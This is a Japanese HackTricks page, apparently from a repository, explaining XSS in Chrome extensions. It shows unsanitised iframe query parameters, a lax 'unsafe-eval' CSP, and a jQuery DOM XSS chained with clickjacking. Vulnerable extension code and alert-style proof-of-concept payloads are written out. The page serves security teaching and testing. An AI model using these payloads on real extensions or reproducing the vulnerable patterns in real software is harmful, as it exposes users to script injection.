hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

7.9 KiB
Raw Blame History

BrowExt - XSSの例

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Iframe上のXSS

コンテンツスクリプトは、iFrameのソースのパラメータにURLを指定してIframeを作成します

chrome.storage.local.get("message", result =>
{
frame.src = chrome.runtime.getURL("message.html") +
"?message=" + encodeURIComponent(result.message) +
"&url=https://example.net/explanation";
});

公開されているHTMLページmessage.htmlブラウザからアクセス可能で、以下のようなコードが含まれています:

$(() =>
{
let params = new URLSearchParams(location.search);
$(document.body).append(params.get("message") + " <button>Explain</button>");
$("body > button").click(() =>
{
chrome.tabs.create({ url: params.get("url") });
});
});

悪意のあるページは、以下のようなスクリプトを実行して、メッセージをXSS payloadに変更します:

setTimeout(() =>
{
let frame = document.querySelector("iframe:last-child");
let src = frame.src;

// Remove existing query parameters
src = src.replace(/\?.*/, "");

// Add malicious query parameters
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");

// Load into frame
frame.src = src;
}, 1000);

甘いContent Security Policyのように

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

実行を許可します。

XSSを意図的にトリガーする別の方法は、以下を実行することです

let frame = document.createElement("iframe");
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
+ encodeURIComponent("<script>alert('XSS')</script>");
document.body.appendChild(frame);

DOMベースのXSS + クリックジャッキング

最初の脆弱性は、/html/bookmarks.html にあるDOMベースのクロスサイトスクリプティングXSS脆弱性です。以下は、含まれている bookmarks.js の脆弱なJavaScriptです

$('#btAdd').click(function() {
var btname = $('#txtName').val();
if ($('.custom-button .name').filter(function() {
return $(this).text() === btname;
}).length) return false;

var span = $('<span class="custom-button">');
span.html('<span class="name">' + btname + '</span>');
span.append('<a href="javascript:void(0)" title="remove">x</a>');
span.attr('title', btname);
span.data('id', (new Date().getTime()));
$('div.custom-buttons .existing').append(span);
save_options();
});

上記のJavaScriptは、txtName テキストボックスのを取得し、文字列の連結を使用してHTMLを構築し、jQueryの“append()”関数を介してDOMに追加します。

通常、Chrome拡張機能のContent Security PolicyCSPは、この脆弱性が悪用されるのを防ぐべきです。しかし、unsafe-evalを介したこのポリシーの緩和とjQueryのDOM APIの使用により、これはまだ悪用され得ました。これは、jQueryのDOM APIの多くが“globalEval()”を使用しており、DOMに追加する際に自動的にスクリプトを“eval()”に渡すためです。

これは深刻な脆弱性ですが、それを悪用するために必要なユーザーの操作があるため、単独では悪用がかなり限定されます。被害者はページを開き、フィールドにCross-site ScriptingXSSペイロードを貼り付け、「Add」ボタンをクリックして悪用する必要があります。

この脆弱性をより効果的に悪用するために、攻撃を強化するために別の脆弱性(clickjacking)を利用します。

以下はChrome拡張機能のマニフェストからの抜粋です

...trimmed for brevity...
"web_accessible_resources": [
"_locales/*",
"bundle/*",
"dist/*",
"assets/*",
"font/*",
"html/bookmarks.html",
"css/*.css",
"js/*.js",
"js/jquery/*.js",
"js/lang/*"
],
...trimmed for brevity...

上記のセクションでは、拡張機能がその web_accessible_resources ポリシーで広範囲にわたることを示しています。

/html/bookmarks.html ページも フレーム化 され、クリックジャッキング を介して 悪用 される可能性があります。これを悪用して、このページを私たちのウェブページにiframeで埋め込み、フレームをDOM要素でオーバーレイしてレイアウトを再配置します。これにより、被害者は 実際には下にある拡張機能とやり取りしていることに気づかない ようになります。以下のアニメーションはこの効果を示しています(アニメーションはオリジナルの投稿記事で確認してください)。

参考文献

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法: